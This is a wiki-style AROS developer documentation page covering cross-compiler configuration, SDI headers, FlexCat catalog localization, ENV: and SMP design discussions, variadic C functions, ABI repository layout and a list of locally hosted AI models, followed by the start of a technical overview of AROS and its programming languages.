git://gitorious.org/aros/aros.git

Branch crosstools-II there is only one commit on top of ABI_V1 
&lt;pre&gt;
../../aros-src/AROS/configure --enable-ccache
--with-portssources=~/aros/Sources --target=pc-x86_64
--with-aros-toolchain-install=/home/weissms/media/data/aros/test/crosstools/pc-x86_64
&lt;/pre&gt;
and
&lt;pre&gt;
../../aros-src/AROS/configure --enable-ccache
--with-portssources=~/aros/Sources --target=pc-i386
--with-aros-toolchain-install=/home/weissms/media/data/aros/test/crosstools/pc-i386
&lt;/pre&gt;
build OK.


:''More information: [[Aros/Developer/Maintainer|AROS Maintainer Docs]]''

===SDI Calls===

Integrate the 'SDI'-headers to allow easier porting to all amiga-like platforms.

&lt;pre&gt;
PUTCHARPROTO( PutTheChar, char c, struct SPrintfStream *s  )
{
 // REAL CODE
}
&lt;/pre&gt;

have &quot;SDI_compiler.h&quot; and &quot;SDI_hook.h&quot; included

its more organized like

 #include SDI/SDI_hook.h

than

 #include SDI_hook.h

option 1 --- i also use when back porting from amiga's..

&lt;pre&gt;
#ifdef __AROS__
#include SDI/SDI_hook.h
#else
#include SDI_hook.h
#endif
&lt;/pre&gt;

also

you can add the -i include/sdi/ location if you do not want to add or edit any files.


Defining HOOKPROTO to IPTR name(struct IClass * cl, Object * obj, Msg msg); solved the problem

A MUI application most likely needs only the HOOKPROTOxxx SDI macros. They are compatible with AROS, only the attributes (hook, object attribute) must be given in the right order. examine compiler/include/aros/symbolsets.h (AROS_LIBREQ)

compiling mui stuff for aros setting -std=gnu99 is necessary (i have had -std=c99 most of the time).

===Locale with Flexcat===

Most languages have a locale, but not every app is localized, the only thing needed is to translate the &quot;catalog&quot; files. It is a case of locating the correct catalog and saving the translated version.

For every app that lacks of your language catalog and is localized anyway, you should find (in the sources) files related to locale:

* file.cd = catalog descriptor, contains base msg, with internal language (usually english)
* language.ct = catalog translation, contains every translated msg, indexed as in the file.cd.

Compare with other localized apps... Then, &quot;make my_app-catalogs&quot; should create and install your translated catalogs. ex : for, saying, sys:prefs/wanderer:

on root of AROS sources, type:
 &quot;make workbench-prefs-wanderer-catalogs&quot;
then (if you changed the .cd file):
 &quot;make workbench-prefs-wanderer&quot;

For apps not localized, you have to adapt their code to support it, if it is possible...

noticed the original .cd file has many (//) strings at the end of any voice, so added them also to the .ct file. 
That (//) is only for cd files. I'm highly recommending to use FlexCat for updating ct files, e.g. like this:

 flexcat app.cd deutsch.ct newctfile deutsch.ct

You'll get error checking and new entries are marked in the resulting ct file.

When editing .ct files, only change those lines containing translation and perhaps version string, nothing else.
The rest is up to the relevant tool, flexcat. In order to update your translation, type in the following in your shell:

 flexcat xyz.cd xyz.ct NEWCTFILE xyz_upd.ct COPYMSGNEW

This way you will not only make sure you have correct translation file but flexcat also pre-fills newly added strings with &quot;*** NEW *** text. Even better tool for checking cd/ct/catalog files is catcheck, but this one is sadly only available for AmigaOS/68k...

Some languages have variations, like portugues from portugal and portugues from brasil differs...

This is the way to go. I will have a look at language files, but basically if those two languages differ you have to do two separated set of translation files, yes.
(you could create a brazilian slang language localization too)

* At system level localization for one language is a dot language file.
(ex: locale:languages/klingon.language)

* At app level localization is a dot catalog file
(ex: locale:catalogs/klingon/system/libs/dos.catalog)

* At sources level, the dot ct file, and &quot;$language&quot; dot cd files and some building framework.
(ex: catalogs/my_app.ct catalogs/klingon.cd catalogs/mmakefile.src support.c support.h)

Please, use Flexcat to generate CT files: 
 FlexCat wanderer.cd NEWCTFILE=deutsch.ct

Then fill the first 2 lines with something useful:
&lt;pre&gt;
## version $VER: wanderer.catalog 1.1 (9.2.2006)
## language deutsch
&lt;/pre&gt;

You can even update the CT-File: (This adds the new strings)
 FlexCat wanderer.cd deutsch.ct NEWCTFILE=deutsch.ct


To compile a catalog you only need the .cd file and your translation (.ct file):
 FlexCat multiview.cd deutsch.ct CATALOG=MultiView.catalog


[http://murks-ide.svn.sourceforge.net/viewvc/murks-ide/trunk/src/Catalogs/flexcat_linux?revision=100 Linux version of FlexCat]

: [http://aros.sourceforge.net/documentation/developers/app-dev/localization.php#localization-for-non-developers More information]


A script which compares the required version (i.e. the version which an application/module etc. tries to open) with the version of the existing CT files. The result is in this table:

https://github.com/aros-translation-team/translations/wiki/Progress

The following cases are highlighted:

    n/a i.e. CT misses at all
    version in existing CT file is lower than the required version


It might be a bit difficult to participate if you haven't worked with Git before but alternatively you can send your CT files to our Slack channel.

When the ct file has been generated via flexcat (flexcat keyshow.cd NEWCTFILE=spanish.ct) it has the following header:

---------------------------------------------------------------------------------------------------------------
## version $VER: &lt;name&gt;.catalog &lt;ver&gt;.&lt;rev&gt; (04.01.2021)
## language nolanguage
## codeset 0
;
---------------------------------------------------------------------------------------------------------------

Those values &lt;ver&gt;.&lt;rev&gt; are the version and revision of the CT file for the languaje or are the values of the application being localized?

The &lt;ver&gt; part must match with version which the application tries to open. You can find the value either in the column &quot;Required Version&quot; in the table which I've linked above, our you can look in the git repository. For keyshow it would be https://github.com/aros-translation-team/keyshow. You can find in the file &quot;catalog_version.h&quot; the right version number.
The &lt;rev&gt; part starts for new CT files with 0 and should be increased every time the CT file is updated.

Updated several files and created a few more that were missing on the spanish catalog.

The catalogs are in Git repositories at https://github.com/aros-translation-team

a) You tell me your Github user name. I'll invite you. You can work directly with the Git repositories.

b) You create Github forks of the catalog repositories and create pull requests.

c) You send the CT files to mrustler  gmx de


===C Utils Misc===

The AROS source uses at several places the __DATE__ macro to fill the date entry of a $VER tag. Problem is that c:version doesn't understand that date format (e.g. &quot;May 21, 2011&quot;). As a result the output of e.g.
&gt; &quot;version c:shell full&quot; contains &quot;(null)&quot;. Is extending the version command to understand the format of __DATE__  the right solution for that problem?

AmigaOs compilers should use __AMIGADATE__ macro or similar form, if it isn't implemented it could be emulated in makefile: -D__AMIGADATE__=\&quot;$(shell date &quot;+%d.%m.%Y&quot;)\&quot;

BTW. I think DD.MM.YYYY is better format than &quot;Month DD YYY&quot; because &quot;Month DD YYY&quot; is not localized in any way.

&quot;strnicmp&quot; shouldn't work with NULL pointers

The Situation:

compiled a linklib using c++ object files (using the c++ cross compiler).
compiled a C stub that uses the linklib (using the c++ cross compiler).

Try to link them together (using the c++ cross compiler) with C object
files (using the normal target c compiler) that need to use -nostartup
= cant do because using the c++ files pulls in arosc (for stdio etc.) -
so wants to have the autoinit stuff present.

What can I do about this??

If it is possible to manually open it then what do I need to do exactly?

=== ENV ===

The philosophy behind ENV: is that keeping configuration files there allows you to  'Use'  preferences  by  keeping  a copy in ENVARC: intact. However in some cases (like this one) it is not required.

99% of the time that statement is true (not required) for pretty much every file in ENV: or do people change their default icons - and prefs settings - every boot?

There seem to be a bad habit of late with developers changing things to reflect their own personal preference when the change isn't actually necessary - It would be nice if people could refrain from doing that in the tree without at least discussing it on the dev-list first (and with good reasoning unless they committed said work in the first place..)

We're not keen on the pollution of the &quot;S:&quot; dir: it's meant to be for scripts. What's wrong with &quot;ENV:&quot;?
Only the fact that it takes up RAM. I  understand  that  for  PCs  with  several gigabytes of RAM this is
irrelevant. But let's remember about other machines. The philosophy behind ENV: is that keeping configuration files there allows you to  'Use'  preferences  by  keeping  a copy in ENVARC: intact.

However in some cases (like this one) it is not required.

How about implementing in the style of HappyENV then? RAM-disk handler that falls through to reading from ENVARC: if there is no such file stored in it already. Removes RAM usage for unchanged files, removes the need to copy ENVARC to ENV in startup-sequence. 
Shouldn't be too hard to make from AmberRAM, or even just extend AmberRAM to provide this service.

Is it feasable to build a special version of AmberRAM handling ENV: that will try and copy the requested file from ENVARC: if it isnt found in ENV: ? 
Additionaly it could mark closed &quot;files&quot; as untouched - and expunge them from ENV: after a period of time to free up additional RAM:, or when the system is running low on free memory?

Silenty disappearing files may not be a good plan. Would be nice if the following would work:

ASSIGN :ENV SYS:Prefs/Env-Arc ADD
ASSIGN :ENV RAM:ENV  ADD

Where new files put in ENV: end up in RAM:ENV, and opening files looks in RAM:ENV first, then SYS:Prefs/Env-Arc

Well - that's essentially what im proposing but without the assigns - or need for a RAM:ENV directory. 
Adding it as a feature of AmberRAM sounds like the most memory efficient way (one handler to load in RAM) but that's only if it is possible to make it handle ENV: additionally to RAM:, and if it is even possible to add the proposed functionality (...and how to make it enable it when accessing ENV:).

===(AS)MP support===

If one has to recompile software for SMP multi core, is there any thing special one has to do to get software to run?   
Use task.resource if you need to query information about what tasks are running, and clear msgports completely when they are allocated.

Most code should not need Forbid. Use Semaphores, Messages etc. to sync your own code. 

Accessing system structures is a different thing. Use the proper API whenever possible.

How single structures will be protected in the future is still a moving target, at least it is not documented. And you should never  use undocumented stuff  


Ideas on for SMP multi-core

Another suggestion is ... Forbid/Permit function calls are meant to halt multitasking so as no other task could intervene with what ever the calling task is doing, e.g. setting semaphores. Disable/Enable calls are meant to halt interrupts and as a side effect they also halt task switching.

One option is to make it compulsory to protect shared resources with semaphores and forbid the use of simple Forbid() calls as to protect something. Setting semaphore should be done if possible with atomic instructions (check and alter in one instruction). Or make the second concurrent ObtainSemaphore call halt the second calling task and force if possible a task switch which ever gives better results. 

Semaphores could store the owning tasks task pointer instead of boolean to make things easier.

As long as the CPU initiates the DMA transfers through the OS, and the OS ensures that the transferred memory is within the region accessible to the user initiating the transfer, everything is fine. The CPU is the conductor, and the CPU by that has the control of which DMA transfer is initiated and which is not.
All you need to do is to write device drivers reasonable. Hint: CachePreDMA and CachePostDMA exist.
All the Os has to do is to verify that the memory regions to be transferred are valid, and prohibit direct access to the DMA control registers from user space. None of these algorithms imply huge costs.
The current OS design doesn't really allow virtual memory in first place, Forbid() is again the problem.

[http://www.tbs-software.com/guide/index.php?guide=autodocs.doc%2Fmemory.doc&amp;node=1 memory.library API] seem to low level. IMHO the programs should not know how the swapping is implemented. I would just go for one new memory flag
MEMF_SWAPPABLE that indicates that a certain memory region or a whole memory pool won't be accessed during Forbid()/Permit() etc. It only solves part of the problem, it only implements virtual memory and not memory protection. For the latter you need to be able make certain memory inaccessible by other programs, some memory read-only for one task and read-write for other tasks, etc. And I think this should be done in the same Address Space in order to avoid you constantly need to swap between different address spaces. 
So to summarize, if there are programs using this API we may provide a wrapper layer to get them working but I am not convinced this API should be the reference API with whom to provide VM to AROS programs.

=== Variadic ===

variadic functions (i.e. functions with an arbitrary amount of arguments).

&lt;pre&gt;
    #include &lt;stdarg.h&gt;
    [...]

    char * STDARGS GetKeyWord(int value, char *def, ...)
    {
        [...]
        va_list va;
        [...]
        va_start(va, def);
        [...]
        va_end (args);

&lt;/pre&gt;

Please keep with using stdarg rather than having va casted to a LONG * type and varargs handled manually. Doing so, prevents tons of casting, where a simple va_arg can be used. So, string = *((char **) args) instead of string=va_arg(va, char *).

&lt;pre&gt;
#include &lt;stdio.h&gt;
#include &lt;stdarg.h&gt;

int printf (const char * format, ...)

{
    int     retval;
    va_list args;

    va_start (args, format);

    retval = vfprintf (stdout, format, args);

    va_end (args);

    fflush (stdout);

    return retval;
} /* printf */
&lt;/pre&gt;

Couldn't find varargs.h or stdarg.h. and have no use for AROS_SLOWSTACKHOOKS or AROS_SLOWSTACKTAGS.

GCC looks for stdarg.h in a different place: 
 /bin/linux-i386/tools/lib/gcc/i386-aros/4.2.2/include/stdarg.h

Here is a path for a &quot;normal&quot; header:
 bin/linux-i386/tools/lib/gcc/i386-aros/4.2.2/../../../../i386-aros/sys-include/aros/system.h


The use of vararg.h isn't supported by newer gcc versions. If you want your code to run on architectures that pass part of variadic arguments in a number of registers you need to use AROS_SLOWSTACK macros. Otherwise your program will not work on powerpc and x86_64 ports.

Of course the SLOWSTACK stuff is not needed in a function that can use va_list, va_start, va_arg and va_end. It's only needed if you want to write functions like DoMethod or similar.

 #include &lt;stdarg.h&gt;

should be enough no matter if you do cross or native compiling. If it does not work, something is wrong and should be corrected.

Stdarg.h is here, Development:lib/gcc/i386-aros/4.2.2/include/

...which is part of the compiler's default include paths. In other words, #include &lt;stdarg.h&gt; works out of the box, indeed. (sorry, I should have just tried it before invoking &quot;search&quot; or &quot;find&quot;...)

furthermore, myprintf() as shown above won't work, because...

 printf(format, args);

...is wrong - the second argument does not match printf() prototype, it expects a argument list, but args is of type va_list (obviously) - so one has to use...

 vfprintf(stdout, format, args);

...instead, just like in the original printf(), and add fflush(stdout).

additionally, one could use...

 int myarg = va_arg(args, int);

...between va_start() and va_end() to access individual arguments, where each call to va_arg() returns an argument casted to the desired type (here: &quot;int&quot;) from the list given (here: &quot;args&quot;) and advances to the next one.

wrapping up vfprintf() and modifying the format string now is a major speedup! no more backslash-n typing! this has been haunting me for years!

On MOS and AmigaOS, the NewObject variadic function is kept in the static library. It takes most of the parameters on the stack - thanks to that the implementation of NewObject calls the NewObjectA function. Everything works perfect, and the typical MUI macros may be easily used.

This, however, is not the case when you compile for AROS. Here, NewObject is a variadic macro, not a function. Thanks such approach we do not need any custom compiler in case of systems, where the arguments of variadic functions are passed partially through registers and partially through the stack (This is the case of PPC and x86_64, this is also the reason why both OS4 and MOS require specially patched compilers).

Since NewObject is a macro, the gcc's preprocessor expects the list of macros arguments enclosed within parentheses. In MUI macros it is not the case. Imagine the following test code:

&lt;pre&gt;
#define foo(a,b) ((a)+(b))

int loosy_function(int a, int b)
{
    return foo(a,b);
}
&lt;/pre&gt;

This will compile and work, but the following piece of code:

&lt;pre&gt;
#define foo(a,b) ((a)+(b))
#define END )

int loosy_function(int a, int b)
{
    return foo(a,b END;
}
&lt;/pre&gt;

will fail with the error: unterminated argument list invoking macro &quot;foo&quot;

There are two ways of fixing your issue. Either create your new objects outside this huge MUI constructions, and in there use just a pointer, or get rid of the &quot;End&quot; macro and exchange it with &quot;TAG_DONE)&quot;.


Badly written software is, for example, casting va_list to an APTR or even doing so as if va_list were a plain table of function arguments. Such code needs to be fixed because it has very few chances to work anywhere but on author's machine ;)

The problem is nOt that they assume sizeof(APTR) == 4, its that they often do not use APTR, and use ULONG to store pointers exclusively. If the code used APTR/IPTR as it should - most of the &quot;problems&quot; wouldn't exist.

It would also help if people would start using variadic arguments properly. Many coders do assumptions which shall never be made. Instead, they should consider using stdarg.h file and all the va_* functions :)

===ABI===

In the head of our SVN repository there are now only 3 directories:

&lt;pre&gt;
admin/
branches/
trunk/
&lt;/pre&gt;

We have added two extra dirs there: tags and imports

As discussed when we branch ABI V0 and [[Aros/Developer/ABIv1|ABI V1]] it would also be good to introduce tags. Normally this is done in a directory in the repository called tags. Currently we don't have this directory there. (We do have branches/tags that is a hack I have done because one doesn't have write access in the top directory. I think this directory is not clean and should be removed).

The second directory I would introduce is an imports directory for implementing vendor branches as discussed in the svn [http://svnbook.red-bean.com/en/1.5/svn.advanced.vendorbr.html book]. Currently we use code from several different projects and that code is stored inside the AROS tree; we seem to have problems with keeping this code up to date and merge our changes upstream. Maintainers of up stream projects like the MUI classes etc. have complained about this (to put it lightly).

Introducing these vendor branches would make it easier to see what changes we have made and make patches to be sent upstream and make it easier to import newer upstream versions of their code. Although can't &quot;copy&quot; the vendor branch into the main branch because it's already there, so start with a &quot;merge&quot;.

Yes, the first step to make the code already in the repository compatible with the vendor branches will be the most difficult. The best way to do it the following way:

* first import the version on which the current AROS code is based into the vendor branch
* then import the new version over it in the vendor branch
* finally merge the difference between these two version in the AROS code present in the repository.

For example, place NList directly under vendor and not in a subdirectory like &quot;contrib/zune/classes&quot;.

Actually after we have a stable [http://aros.sourceforge.net/documentation/developers/specifications/drafts/abiv1.php ABIv1 (2012 or later)]. We need to move away as much as possible from the contrib directory to some other repositories. The reasons are ...

* The AROS repository should be for the core AROS code.
* other contrib projects should be tried to be compiled for all Amiga-like OSes.
* The release scheme for AROS and the other programs should not have to be aligned.
* Binary versions should be provided on aros-archives and on aminet and/or OS4Depot to install them. (Some clever programs should maybe be provided to make the life of distribution developers easier). 
* avoid parallel forks of programs for AROS and the other amiga OSes.

If there is really a need for a place for hosting AROS projects we may investigate setting up such a server but then including bug tracking, governance, maillist, etc. for each project separately. I personally think there are already enough places like sourceforge, google code, savannah, etc. where people can go for hosting such projects.

==Links==

* http://amigadocs.hokstad.com
* http://amigadocs.hokstad.com/doku.php?id=dev-links


 In the future...?
*AROS 64bit - SMP, Vulkan with OpenGL compability layer
*AROS 32bit - keep for historic reasons 

What would you like to see implemented in AROS?
ABIv1 completed, SMP (x86_64),  SendMsg()/GetMsg() to support memory protection between target and destination, in that order.   Michal Schulz and Jason McMullan have been toying with the question &quot;What are the minimal changes needed to the AmigaOS 3.1 API to support SMP&quot;?  The answer so far seems to be &quot;few, but subtle&quot;.  For example, SysBase-&gt;ThisTask is no longer meaningful on SMP, but FindTask(NULL) is.  Disable() and Forbid() are shockingly bad on performance, but adding a spinlock semaphore mode to SignalSemaphore will help new code on SMP.  

Leveraging a 'common' OS with a lot of machine support (Linux, MacOS, Windows, QNX, etc.) is something that AROS has been doing for quite a long time, and it is the biggest strength of AROS. This AROS experience and programming model, in the same way the Google's Android layers on top of Linux, or MacOS X layers on top of the Darwin/BSD kernel, as a first step 

* The graphics + layers subsystem could be implemented as a shim on top of a OpenGL ES implementation (ie on any modern Linux system, or the RaspberryPI's hardware, MacOS X, etc). 
  - This also allows every window to be on its own 3D surface with backing store, allowing Wanderer (or a Commodity)
rearrange/zoom/animate app windows without having to send a pile or refreshes to them

* Use OpenAL as the sound backend
* AROSTCP would be a thin layer over the native OS's TCP/IP stack
* dos.library, poseidon.library, and input.device would be slim shims over the native APIs
* If we move to loading all libraries' into the application's task space, instead of a single global instance of the library, this will allow SMP and MMU more easily. 
  - Yes, it will require a lot of work in the libraries to make this transition
  - Yes, I do think it will be worth it in the end.

* A 'fat binary' install format (or, maybe LLVM bytecode) that can be 'flattend' to the target architecture on installation.

So, what would this 'AROS of the future' look like?

* AmigaOS 3.x style API, with certain 'fundamental changes' to message passing
* Uses the underlying OS' device drivers, so more AROS developer effort can go to user-visible features and bugfixes 
* Allows AROS applications to run side-by-side with the OS's native apps


And why would anyone want to program on such a system?

* AROS applications would run on any system that has the AROS Framework installed
* AROS applications are pixel-for-pixel the same on all platforms. 
* Develop with the knowledge that you are guaranteed OpenGL and OpenAL, and the rest of the AROS Framework

an option for mmake to dump its dependency of metatarget in a graphviz[*] input file. This should make it possible to visualize the dependencies and hopefully be inspiration for cleaning up some mess, circular or unneeded dependencies and so on.


AmigaOS gcc 9 [https://franke.ms/amiga/gcc.wiki Old versions] able to create binaries for AmigaOS and [https://eab.abime.net/showthread.php?t=93813 Upgrading gcc versions] 


=== AI ===

Please see discussion of the [https://arosworld.org/infusions/forum/viewthread.php?thread_id=1933&amp;rowstart=0 Aros world thread] [https://opencode.ai/ opencode], [https://openrouter.ai/models?categories=programming new opencode models], [https://axrt.org/media/aros-ui-ai.mp4 AI ui], 

*DeepSeek V4 Flash - very good model, use it daily but prehaps a small monthly fee payable 
*Ring 2.6 - good model but pricing small                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   


                  Multimodal
                   Context
                   Prompt
                    &lt;---
  Model &lt;---&gt; Agent ---&gt; End user
 engine 

 Gemini      LMStudio
  Qwen       Comfyui
   etc


Recent, self hosting local models on laptops, mini pcs, laptops or desktops with [https://www.youtube.com/watch?v=oqvZJf5Vz7U quantization] (compressed) so reducing memory to run on 8Gb VRAM (very low size models) but for better performance more VRAM is needed for text based tasks. For smaller models, very specific prompting and chatting (iterations) for very smaller sections of your overall application as lots of supervision needed for the code produced 


Ability increases by the amount of ram (more for better quality) and the memory bandwidth (how fast) but 

Total VRAM should be greater than Model size (in Gbytes), context length (you set Gbytes taken) and KV cache - everything a trade off 

&lt;pre&gt;
Small   Limited Okay  Better   Bigger  Best 
 1-2B     3B     7B     20B     30B          model size 
  Q2      Q2     Q4     Q6       Q8          compressing 
 4GB     8GB    16GB   32GB     64GB         VRAM needed 
&lt;/pre&gt;


Roughly...
*DDR4 Pi5    about 17GB/s 
*DDR5        about 40Gb/s 
*DDR6        about 90Gb/s about Jetson Orin Nano level 
*Strix Halo  about 210Gb/s 
*DGX Spark   about 220Gb/s
* MacBook M3 base 100GB/s Pro 150GB/s Max 200Gb/s unified memory 
* MacBook M4 base 120Gb/s Pro 170Gb/s Max 250Gb/s 
* MacBook M5 base 140Gb/s 
* MacBook M6 base 160Gb/s Pro 180Gb/s Max 
* [https://www.youtube.com/watch?v=jMnMrivvAWo Mac Studio] Max 400Gb/s to Ultra 800Gb/s 


*[https://lmstudio.ai/download LMstudio single gpu],

 128Gb 
*[ gpt-oss-120b] 70Gb model  

 64Gb 
*[HauHau 3.6 35B] 

*[ muse-glimmer]

 32Gb 
Alibaba Cloud's [ Qwen] team series of large language models LLMs 
*[ Qwen-3.8-27B] 
*[ Qwen-3.6-27B] 

 16Gb
*[ Qwen 3.8 27B GSQ ACO GGUF]

 8Gb 
*[ glm-ocr]
*[ medGemma]
*[ qwen 3.5-4b]
*[https://github.com/sipeed/picoclaw picoclaw claude] 
*[ DeepSeek R1] 
*[ Qwen 3.5 9B Q4] 
*[ Qwen 2.5 14b Coder] 
*[ gpt-oss-20b 4Q] 
*[ Yue2 music creation] 


 Simple laptop 
*[ mini CPM5-2B] for simple user interfaces of single c file apps as long as robust explicit clear instruction given 


For the full experience 
#Training learning using 1+ high end GPUs at least 16GB VRAM per GPU card or 64Gb+ of unified, 16Core CPU with at least 64Gb of RAM system memory 
#Inference with custom asics or GPUs 


For ever bigger LLMs needs one of the below but with settings adjusting 
*[https://ollama.com/download Ollama single gpu]
*[https://github.com/ggml-org/llama.cpp/releases llama.CPP multi gpus],
*[ VLM multiple gpus], 


*[ MiniMax H3] for audio and video but gpu 8Gb+ 
*[https://github.com/ideogram-oss/ideogram4 ideogram4]
*[https://github.com/calesthio/OpenMontage OpenMontage]

*[https://github.com/jamiepine/voicebox voicebox]
*[ Chatterbox] with neural watermark 
*[ Index-TTS] 
*[ Qwen3-TTS]
*[ Omnivoice]
*[ faster-qwen3]
*[ dots.tts]


Multimedia 
*[ Kimi K3], 


 Refactor 
*[ Devstral-small-2 256K context] 


 FIM - Fill in the middle 
Mistral Codestral-2 for 64Gb+ unified 


&lt;pre&gt;
Text to Audio --\
Text to Video --/ Reference Video --&gt; Video and Audio output 
&lt;/pre&gt;


 Agent = Model + Harness 

 Agentic 

Harnesses like [ Claude Code] [ Cursor] [ ] could help models. [https://github.com/deepseek-ai/deepseek-harness Deepseek] etc allows many models to reside inside but also everything is a plugin, including the model adapter, the tool registry, the session log, and the agent loop itself, so each is replaceable from configuration 

MoE mixture of experts model 


==References==
{{reflist}}
{{status|50%}}

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      <timestamp>2026-09-16T17:24:17Z</timestamp>
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        <username>Jeff1138</username>
        <id>301139</id>
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      <text bytes="129531" sha1="2gcprfa4cxd7r33rxhzzp0znwnzl4ea" xml:space="preserve">{{ArosNav}}

==A technical overview of AROS==

Google translation [http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=de&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fwiki%2FAros%2FDeveloper%2FDocs German], [http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=fr&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fwiki%2FAros%2FDeveloper%2FDocs French], [http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=it&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fwiki%2FAros%2FDeveloper%2FDocs Italian], [http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=es&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fwiki%2FAros%2FDeveloper%2FDocs Spanish], [http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=hi&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fwiki%2FAros%2FDeveloper%2FDocs Hindi], [http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=zh-CN&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fwiki%2FAros%2FDeveloper%2FDocs Chinese], 
[http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=ru&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fw%2Findex.php%3Ftitle%3DAros%2FDeveloper%2FDocs Russian], 
[http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=pl&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fw%2Findex.php%3Ftitle%3DAros%2FDeveloper%2FDocs Polish],
[http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=pt&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fw%2Findex.php%3Ftitle%3DAros%2FDeveloper%2FDocs Portuguese]

{{Uncited}}

AROS,&lt;ref&gt;[http://aros.sourceforge.net/download.php References and sources]&lt;/ref&gt; like AmigaOS (TM), is a [[w:Message passing|message-passing]], [[w:Preemption (computing)|preemptive]] [[w:Multitasking|multitasking]] [[w:Operating system|OS]].

It uses [[w:Reentrant (subroutine)|re-entrant]] shared libraries to save memory space.

AROS is based around an executive library kernel (Exec) and two other libraries:

* Exec (the &quot;kernel&quot;, which is not a kernel in the modern sense), 
* Intuition (graphics and GUI, integrated into the system) and 
* AmigaDOS (Disk Operating System, the Metacomco's Tripos modified to work with Exec).

The design philosophies of AmigaDOS and Intuition are rather different, the former adopting a C-like API and the latter creating an [http://www.basden.demon.co.uk/amiga/amiga.oo.html object-oriented], message passing aware environment for the programmer. The system base is the only absolute address in AmigaOS (located at 0x00000004) this does differ with AROS as AROS SysBase is automatically provided (no $4) but everything else is dynamically loaded. The OS is well known for delivering high performance due to its close connections with the hardware, while simultaneously having the flexibility to support re-targetable graphics (Cybergraphics) and retargetable audio subsystems (AHI).

: Diagram showing relationships of libraries to system needed


Remember, AROS is a [http://en.wikibooks.org/wiki/Aros/Developer/ABIv1 research] operating system, and while all contributions to the base AROS code are welcome, please contact the dev list first for any core changes. Writing applications for AROS does not have this requirement. 

While AROS appears and feels almost feature complete, it is still [[Aros/Developer/IncompleteAPIs|missing a small number of functions]] from the Amiga API. 


[https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1201 This thread provides] information for setup, [http://www.aros.org/documentation/developers/index.php documentation] and whether you are interested in core OS changes and/or writing/porting software apps 

*you compile directly under AROS, which can be running on either real hardware, virtual hardware
*in hosted mode under linux/window, cross-compile from that host OS (save your files as ISO-8859-15 encoding instead of UTF-8) [https://github.com/BlitterStudio/aros-compiler-docker Docker images] 


'''The repository''' for 64bit and 32bit ABIv1 all hardware platforms is [https://github.com/aros-development-team/AROS current development version]. 
There are many forks of this so that developers can work on their own and forward changes at a later date as discussed on the dev forum 


64bit PC is one of two hardware platform with another fork called [https://github.com/deadwood2/AROS abiv11] which is used for Aros One x64 PC 

32bit PC is the other fork [https://github.com/deadw00d/AROS/tree/alt-abiv0 repository for current stable PC version ABIv0 with backported ABIv1 features is located which is used on AROS One and Icaros x86 32bit based distros] this is for historic reasons 


Any [https://github.com/aros-development-team/AROS/issues bugs / issues can be added for ABIv1 issues]. The two individual PC forks have their own issues tab on their github webpages 

We have a [https://arosdevteam.slack.com/archives/CUFV48U3H slack here], discord on [https://discord.gg/UKp9qdEBuQ Discord@AmigaDev], 


==Software Development for AROS==

===Programming languages===

====Common to all====

'The Developer Environment', which primarily supports C/C++ code, there are other scripting programming languages available 

:[[Aros/User/DOS|DOS]] 
:[[Aros/Developer/Docs/LUA|LUA]] 
:REXX [[Aros/Developer/Docs/Rexx|Regina (AROS' ARexx)]] 


====Needs to be compiled/ported====

::[[Aros/Developer/Docs/LLVM|LLVM]] 
::Python [ Info], [], 
::[https://ae.arosworld.org/index.php?board=11.0 FreePascal FPC Aros-Exec thread], [https://archives.arosworld.org/index.php?function=browse&amp;cat=development/language fpc arm here is very old and will not work], FreePascal for AROS has its own [http://fpcaroswiki.alb42.de/ Wikibook], 


::[http://sourceforge.net/projects/xamos/ X-Amos Basic] 
::[http://sdlbasic.sourceforge.net/ SDLBasic] ([https://archives.arosworld.org/index.php?function=browse&amp;cat=development/language ])
::[[Aros/Developer/Basic/Basic4SDL|Basic4SDL]] ([https://archives.arosworld.org/index.php?function=browse&amp;cat=development/language ])
::[http://alvyn.sourceforge.net/ Alvyn] ([http://www.dusabledanslherbe.eu/AROSPage/MISC.14.html download]) 


::[http://www.airsoftsoftwair.com/ Hollywood when enough users warrant a port - paid one time fee language] 


::[[Aros/Developer/Docs/E|AmigaE Portable E]]


====Hardware Restricted====

'''Basic'''

:[http://amos.pspuae.com/AmosProManual/contents/c1.html '''Amos Pro'''] [http://amos.pspuae.com/index.php?action=forum#1 compatible] [http://www.amigacoding.com/index.php/Main_Page commands] (all incomplete) 

:'''Blitz Basic''' [http://aros-exec.org/modules/newbb/viewtopic.php?post_id=46537#forumpost46537 none on AROS] 
:: [http://www.amiforce.de/main.php Amiblitz] on amiga(TM) emulator

:'''Amiga Basic'''
:: [ ACEBasic]

'''Misc''' 
:Ruby [http://www.ruby-lang.org/en Info]/[https://archives.arosworld.org/index.php?function=browse&amp;cat=development/language Ruby 32bit PC], 


===Where to get the C/C++ Environment===

If you want to develop for AROS, its generally easier to be running linux hosted AROS development environment especially for C++, cross compiling the code. That's how most developers now are doing it. g++ is used to compile owb web browser as well as some other AROS software. If you were hoping for a rich set of C++ libraries or classes defined for the OS feature set, you might be disappointed.

AROS Native compiling is possible, but you're much more likely to run into the odd bug(s) in the dev environment since it gets little testing and fixing by other developers.

Is there a sftp software or scp over ssh available?
Maybe. At least the security part would be handled by [https://github.com/jens-maus/amissl amissl] [https://archives.arosworld.org/index.php?function=browse&amp;cat=network/misc port]. [https://github.com/BlitterStudio/dopus5 DOpus5] has recently added sftp support. See here for a [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1974&amp;highlight=ssh&amp;pid=12073#post_12073 ssh scp client]

